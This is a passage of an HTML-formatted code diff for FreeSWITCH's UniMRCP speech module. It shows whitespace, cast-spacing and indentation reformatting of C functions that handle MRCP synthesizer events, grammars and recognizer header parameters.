</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP response, request_state = %d\n", schannel->name, message->start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP response, request_state = %d\n", schannel->name,
+                                                                 message->start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         /* received unexpected response */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name,
+                                                         (int) message->start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
</span><span class="lines">@@ -1825,11 +1855,13 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SPEAK-COMPLETE\n", schannel->name);
</span><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name,
+                                                         (int) message->start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name,
+                                                 message->start_line.message_type);
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1846,7 +1878,7 @@
</span><span class="cx"> static apt_bool_t synth_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t size = frame->codec_frame.size;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)stream->obj;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) stream->obj;
</ins><span class="cx">         speech_channel_write(schannel, frame->codec_frame.buffer, &size);
</span><span class="cx">         return TRUE;
</span><span class="cx"> }
</span><span class="lines">@@ -1862,7 +1894,7 @@
</span><span class="cx"> {
</span><span class="cx">         /* link to FreeSWITCH ASR / TTS callbacks */
</span><span class="cx">         switch_speech_interface_t *speech_interface = NULL;
</span><del>-        if ((speech_interface = (switch_speech_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
</del><ins>+        if ((speech_interface = (switch_speech_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_SPEECH_INTERFACE)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         speech_interface->interface_name = MOD_UNIMRCP;
</span><span class="lines">@@ -1876,7 +1908,7 @@
</span><span class="cx">         speech_interface->speech_float_param_tts = synth_speech_float_param_tts;
</span><span class="cx">
</span><span class="cx">         /* Create the synthesizer application and link its callbacks to UniMRCP */
</span><del>-        if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *)0, pool)) == NULL) {
</del><ins>+        if ((globals.synth.app = mrcp_application_create(synth_message_handler, (void *) 0, pool)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         globals.synth.dispatcher.on_session_update = NULL;
</span><span class="lines">@@ -1889,7 +1921,7 @@
</span><span class="cx">         globals.synth.audio_stream_vtable.close_rx = NULL;
</span><span class="cx">         globals.synth.audio_stream_vtable.read_frame = NULL;
</span><span class="cx">         globals.synth.audio_stream_vtable.open_tx = NULL;
</span><del>-        globals.synth.audio_stream_vtable.close_tx = NULL;
</del><ins>+        globals.synth.audio_stream_vtable.close_tx = NULL;
</ins><span class="cx">         globals.synth.audio_stream_vtable.write_frame = synth_stream_write;
</span><span class="cx">         mrcp_client_application_register(globals.mrcp_client, globals.synth.app, "synth");
</span><span class="cx">
</span><span class="lines">@@ -1929,7 +1961,7 @@
</span><span class="cx"> *
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS
</span><span class="cx"> */
</span><del>-static switch_status_t synth_shutdown()
</del><ins>+static switch_status_t synth_shutdown()
</ins><span class="cx"> {
</span><span class="cx">         if (globals.synth.fs_param_map) {
</span><span class="cx">                 switch_core_hash_destroy(&globals.synth.fs_param_map);
</span><span class="lines">@@ -1950,10 +1982,10 @@
</span><span class="cx"> * @param pool memory pool to allocate from
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if successful
</span><span class="cx"> */
</span><del>-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
</del><ins>+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        grammar_t *g = (grammar_t *)switch_core_alloc(pool, sizeof(grammar_t));
</del><ins>+        grammar_t *g = (grammar_t *) switch_core_alloc(pool, sizeof(grammar_t));
</ins><span class="cx">         if (g == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 *grammar = NULL;
</span><span class="lines">@@ -1975,13 +2007,19 @@
</span><span class="cx"> */
</span><span class="cx"> static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile)
</span><span class="cx"> {
</span><del>-        switch(type) {
-                case GRAMMAR_TYPE_UNKNOWN: return "";
-                case GRAMMAR_TYPE_URI: return "text/uri-list";
-                case GRAMMAR_TYPE_SRGS: return profile->srgs_mime_type;
-                case GRAMMAR_TYPE_SRGS_XML: return profile->srgs_xml_mime_type;
-                case GRAMMAR_TYPE_NUANCE_GSL: return profile->gsl_mime_type;
-                case GRAMMAR_TYPE_JSGF: return profile->jsgf_mime_type;
</del><ins>+        switch (type) {
+        case GRAMMAR_TYPE_UNKNOWN:
+                return "";
+        case GRAMMAR_TYPE_URI:
+                return "text/uri-list";
+        case GRAMMAR_TYPE_SRGS:
+                return profile->srgs_mime_type;
+        case GRAMMAR_TYPE_SRGS_XML:
+                return profile->srgs_xml_mime_type;
+        case GRAMMAR_TYPE_NUANCE_GSL:
+                return profile->gsl_mime_type;
+        case GRAMMAR_TYPE_JSGF:
+                return profile->jsgf_mime_type;
</ins><span class="cx">         }
</span><span class="cx">         return "";
</span><span class="cx"> }
</span><span class="lines">@@ -2014,19 +2052,19 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        r = (recognizer_data_t *)schannel->data;
</del><ins>+        r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         r->result = NULL;
</span><span class="cx">         r->start_of_input = 0;
</span><span class="cx">
</span><span class="cx">         /* input timers are started by default unless the start-input-timers=false param is set */
</span><del>-        start_input_timers = (char *)switch_core_hash_find(schannel->params, "start-input-timers");
</del><ins>+        start_input_timers = (char *) switch_core_hash_find(schannel->params, "start-input-timers");
</ins><span class="cx">         r->timers_started = zstr(start_input_timers) || strcasecmp(start_input_timers, "false");
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* get the cached grammar */
</span><span class="cx">         if (zstr(name)) {
</span><span class="cx">                 grammar = r->last_grammar;
</span><span class="cx">         } else {
</span><del>-                grammar = (grammar_t *)switch_core_hash_find(r->grammars, name);
</del><ins>+                grammar = (grammar_t *) switch_core_hash_find(r->grammars, name);
</ins><span class="cx">                 r->last_grammar = grammar;
</span><span class="cx">         }
</span><span class="cx">         if (grammar == NULL) {
</span><span class="lines">@@ -2047,7 +2085,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* allocate generic header */
</span><del>-        generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
</del><ins>+        generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
</ins><span class="cx">         if (generic_header == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -2069,14 +2107,14 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* allocate recognizer-specific header */
</span><del>-        recog_header = (mrcp_recog_header_t *)mrcp_resource_header_prepare(mrcp_message);
</del><ins>+        recog_header = (mrcp_recog_header_t *) mrcp_resource_header_prepare(mrcp_message);
</ins><span class="cx">         if (recog_header == NULL) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* set Cancel-If-Queue */
</span><del>-        if (mrcp_message->start_line.version == MRCP_VERSION_2) {        
</del><ins>+        if (mrcp_message->start_line.version == MRCP_VERSION_2) {
</ins><span class="cx">                 recog_header->cancel_if_queue = FALSE;
</span><span class="cx">                 mrcp_resource_header_property_add(mrcp_message, RECOGNIZER_HEADER_CANCEL_IF_QUEUE);
</span><span class="cx">         }
</span><span class="lines">@@ -2104,7 +2142,7 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2145,9 +2183,9 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-        
</del><ins>+
</ins><span class="cx">                 /* set Content-Type and Content-ID in message */
</span><del>-                generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message);
</del><ins>+                generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message);
</ins><span class="cx">                 if (generic_header == NULL) {
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -2161,7 +2199,7 @@
</span><span class="cx">                 mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
</span><span class="cx">                 apt_string_assign(&generic_header->content_id, name, mrcp_message->pool);
</span><span class="cx">                 mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_ID);
</span><del>-        
</del><ins>+
</ins><span class="cx">                 /* put grammar in message body */
</span><span class="cx">                 apt_string_assign(&mrcp_message->body, data, mrcp_message->pool);
</span><span class="cx">
</span><span class="lines">@@ -2190,12 +2228,12 @@
</span><span class="cx">
</span><span class="cx">         /* Create the grammar and save it */
</span><span class="cx">         if ((status = grammar_create(&g, name, type, data, schannel->memory_pool)) == SWITCH_STATUS_SUCCESS) {
</span><del>-                recognizer_data_t *r = (recognizer_data_t *)schannel->data;
</del><ins>+                recognizer_data_t *r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">                 switch_core_hash_insert(r->grammars, g->name, g);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
-        
</del><ins>+ done:
+
</ins><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         switch_safe_free(ldata);
</span><span class="cx">
</span><span class="lines">@@ -2216,7 +2254,7 @@
</span><span class="cx">         if (zstr(grammar_name)) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         } else {
</span><del>-                recognizer_data_t *r = (recognizer_data_t *)schannel->data;
</del><ins>+                recognizer_data_t *r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Unloading grammar %s\n", schannel->name, grammar_name);
</span><span class="cx">                 switch_core_hash_delete(r->grammars, grammar_name);
</span><span class="cx">         }
</span><span class="lines">@@ -2229,12 +2267,12 @@
</span><span class="cx"> *
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if results available or start of input
</span><span class="cx"> */
</span><del>-static switch_status_t recog_channel_check_results(speech_channel_t *schannel)
</del><ins>+static switch_status_t recog_channel_check_results(speech_channel_t *schannel)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><del>-        r = (recognizer_data_t *)schannel->data;
</del><ins>+        r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         if (!zstr(r->result)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) SUCCESS, have result\n", schannel->name);
</span><span class="cx">         } else if (r->start_of_input) {
</span><span class="lines">@@ -2255,7 +2293,7 @@
</span><span class="cx"> static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        recognizer_data_t *r = (recognizer_data_t *)schannel->data;
</del><ins>+        recognizer_data_t *r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><span class="cx">
</span><span class="cx">         if (schannel->state == SPEECH_CHANNEL_PROCESSING && !r->timers_started) {
</span><span class="lines">@@ -2272,7 +2310,7 @@
</span><span class="cx">                 mrcp_application_message_send(schannel->unimrcp_session, schannel->unimrcp_channel, mrcp_message);
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2289,7 +2327,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><del>-        r = (recognizer_data_t *)schannel->data;
</del><ins>+        r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         r->start_of_input = 1;
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) start of input\n", schannel->name);
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="lines">@@ -2308,7 +2346,7 @@
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><del>-        r = (recognizer_data_t *)schannel->data;
</del><ins>+        r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         if (!zstr(r->result)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result is already set\n", schannel->name);
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2322,7 +2360,7 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) result:\n\n%s\n", schannel->name, result);
</span><span class="cx">         r->result = switch_core_strdup(schannel->memory_pool, result);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="lines">@@ -2338,7 +2376,7 @@
</span><span class="cx"> static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **result)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        recognizer_data_t *r = (recognizer_data_t *)schannel->data;
</del><ins>+        recognizer_data_t *r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><span class="cx">         if (!zstr(r->result)) {
</span><span class="cx">                 *result = strdup(r->result);
</span><span class="lines">@@ -2352,7 +2390,7 @@
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2366,7 +2404,8 @@
</span><span class="cx"> * @param recog_hdr the recognizer headers to set
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS
</span><span class="cx"> */
</span><del>-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr)
</del><ins>+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+                                                                                                mrcp_recog_header_t *recog_hdr)
</ins><span class="cx"> {
</span><span class="cx">         /* loop through each param and add to recog header or vendor-specific-params */
</span><span class="cx">         switch_hash_index_t *hi = NULL;
</span><span class="lines">@@ -2375,10 +2414,10 @@
</span><span class="cx">                 const void *key;
</span><span class="cx">                 void *val;
</span><span class="cx">                 switch_hash_this(hi, &key, NULL, &val);
</span><del>-                param_name = (char *)key;
-                param_val = (char *)val;
</del><ins>+                param_name = (char *) key;
+                param_val = (char *) val;
</ins><span class="cx">                 if (!zstr(param_name) && !zstr(param_val)) {
</span><del>-                        unimrcp_param_id_t *id = (unimrcp_param_id_t *)switch_core_hash_find(schannel->application->param_id_map, param_name);
</del><ins>+                        unimrcp_param_id_t *id = (unimrcp_param_id_t *) switch_core_hash_find(schannel->application->param_id_map, param_name);
</ins><span class="cx">                         if (id) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) \"%s\": \"%s\"\n", schannel->name, param_name, param_val);
</span><span class="cx">                                 recog_channel_set_header(schannel, id->id, param_val, msg, recog_hdr);
</span><span class="lines">@@ -2387,7 +2426,7 @@
</span><span class="cx">                                 apt_str_t apt_param_name = { 0 };
</span><span class="cx">                                 apt_str_t apt_param_val = { 0 };
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) (vendor-specific value) %s: %s\n", schannel->name, param_name, param_val);
</span><del>-                                apt_string_set(&apt_param_name, param_name); /* copy isn't necessary since apt_pair_array_append will do it */
</del><ins>+                                apt_string_set(&apt_param_name, param_name);        /* copy isn't necessary since apt_pair_array_append will do it */
</ins><span class="cx">                                 apt_string_set(&apt_param_val, param_val);
</span><span class="cx">                                 if (!gen_hdr->vendor_specific_params) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) creating vendor specific pair array\n", schannel->name);
</span><span class="lines">@@ -2397,7 +2436,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (gen_hdr->vendor_specific_params) {
</span><span class="cx">                 mrcp_generic_header_property_add(msg, GENERIC_HEADER_VENDOR_SPECIFIC_PARAMS);
</span><span class="cx">         }
</span><span class="lines">@@ -2421,94 +2460,95 @@
</span><span class="cx">
</span><span class="cx">         switch (id) {
</span><span class="cx">         case RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD:
</span><del>-                recog_hdr->confidence_threshold = (float)atof(val);
</del><ins>+                recog_hdr->confidence_threshold = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD);
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">         case RECOGNIZER_HEADER_SENSITIVITY_LEVEL:
</span><del>-                recog_hdr->sensitivity_level = (float)atof(val);
</del><ins>+                recog_hdr->sensitivity_level = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SENSITIVITY_LEVEL);
</span><span class="cx">                 break;
</span><span class="cx">
</span><span class="cx">         case RECOGNIZER_HEADER_SPEED_VS_ACCURACY:
</span><del>-                recog_hdr->speed_vs_accuracy = (float)atof(val);
</del><ins>+                recog_hdr->speed_vs_accuracy = (float) atof(val);
</ins><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEED_VS_ACCURACY);
</span><span class="cx">                 break;
</span><span class="cx">
</span><del>-        case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH: {
-                int n_best_list_length = atoi(val);
-                if (n_best_list_length > 0) {
-                        recog_hdr->n_best_list_length = n_best_list_length;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid n best list length, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_N_BEST_LIST_LENGTH:{
+                        int n_best_list_length = atoi(val);
+                        if (n_best_list_length > 0) {
+                                recog_hdr->n_best_list_length = n_best_list_length;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_N_BEST_LIST_LENGTH);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid n best list length, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT: {
-                int no_input_timeout = atoi(val);
-                if (no_input_timeout >= 0) {
-                        recog_hdr->no_input_timeout = no_input_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid no input timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_NO_INPUT_TIMEOUT:{
+                        int no_input_timeout = atoi(val);
+                        if (no_input_timeout >= 0) {
+                                recog_hdr->no_input_timeout = no_input_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_NO_INPUT_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid no input timeout, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT: {
-                int recognition_timeout = atoi(val);
-                if (recognition_timeout >= 0) {
-                        recog_hdr->recognition_timeout = recognition_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid recognition timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_RECOGNITION_TIMEOUT:{
+                        int recognition_timeout = atoi(val);
+                        if (recognition_timeout >= 0) {
+                                recog_hdr->recognition_timeout = recognition_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid recognition timeout, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_START_INPUT_TIMERS:
</span><span class="cx">                 recog_hdr->start_input_timers = !strcasecmp("true", val);
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_START_INPUT_TIMERS);
</span><span class="cx">                 break;
</span><del>-                case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT: {
-                int speech_complete_timeout = atoi(val);
-                if (speech_complete_timeout >= 0) {
-                        recog_hdr->speech_complete_timeout = speech_complete_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech complete timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT:{
+                        int speech_complete_timeout = atoi(val);
+                        if (speech_complete_timeout >= 0) {
+                                recog_hdr->speech_complete_timeout = speech_complete_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech complete timeout, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT: {
-                int speech_incomplete_timeout = atoi(val);
-                if (speech_incomplete_timeout >= 0) {
-                        recog_hdr->speech_incomplete_timeout = speech_incomplete_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech incomplete timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT:{
+                        int speech_incomplete_timeout = atoi(val);
+                        if (speech_incomplete_timeout >= 0) {
+                                recog_hdr->speech_incomplete_timeout = speech_incomplete_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid speech incomplete timeout, \"%s\"\n", schannel->name,
+                                                                 val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT: {
-                int dtmf_interdigit_timeout = atoi(val);
-                if (dtmf_interdigit_timeout >= 0) {
-                        recog_hdr->dtmf_interdigit_timeout = dtmf_interdigit_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf interdigit timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT:{
+                        int dtmf_interdigit_timeout = atoi(val);
+                        if (dtmf_interdigit_timeout >= 0) {
+                                recog_hdr->dtmf_interdigit_timeout = dtmf_interdigit_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf interdigit timeout, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT: {
-                int dtmf_term_timeout = atoi(val);
-                if (dtmf_term_timeout >= 0) {
-                        recog_hdr->dtmf_term_timeout = dtmf_term_timeout;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term timeout, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT:{
+                        int dtmf_term_timeout = atoi(val);
+                        if (dtmf_term_timeout >= 0) {
+                                recog_hdr->dtmf_term_timeout = dtmf_term_timeout;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid dtmf term timeout, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_DTMF_TERM_CHAR:
</span><span class="cx">                 if (strlen(val) == 1) {
</span><span class="cx">                         recog_hdr->dtmf_term_char = *val;
</span><span class="lines">@@ -2538,26 +2578,26 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_RECOGNITION_MODE);
</span><span class="cx">                 break;
</span><span class="cx">
</span><del>-        case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION: {
-                int hotword_max_duration = atoi(val);
-                if (hotword_max_duration >= 0) {
-                        recog_hdr->hotword_max_duration = hotword_max_duration;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword max duration, \"%s\"\n", schannel->name, val);
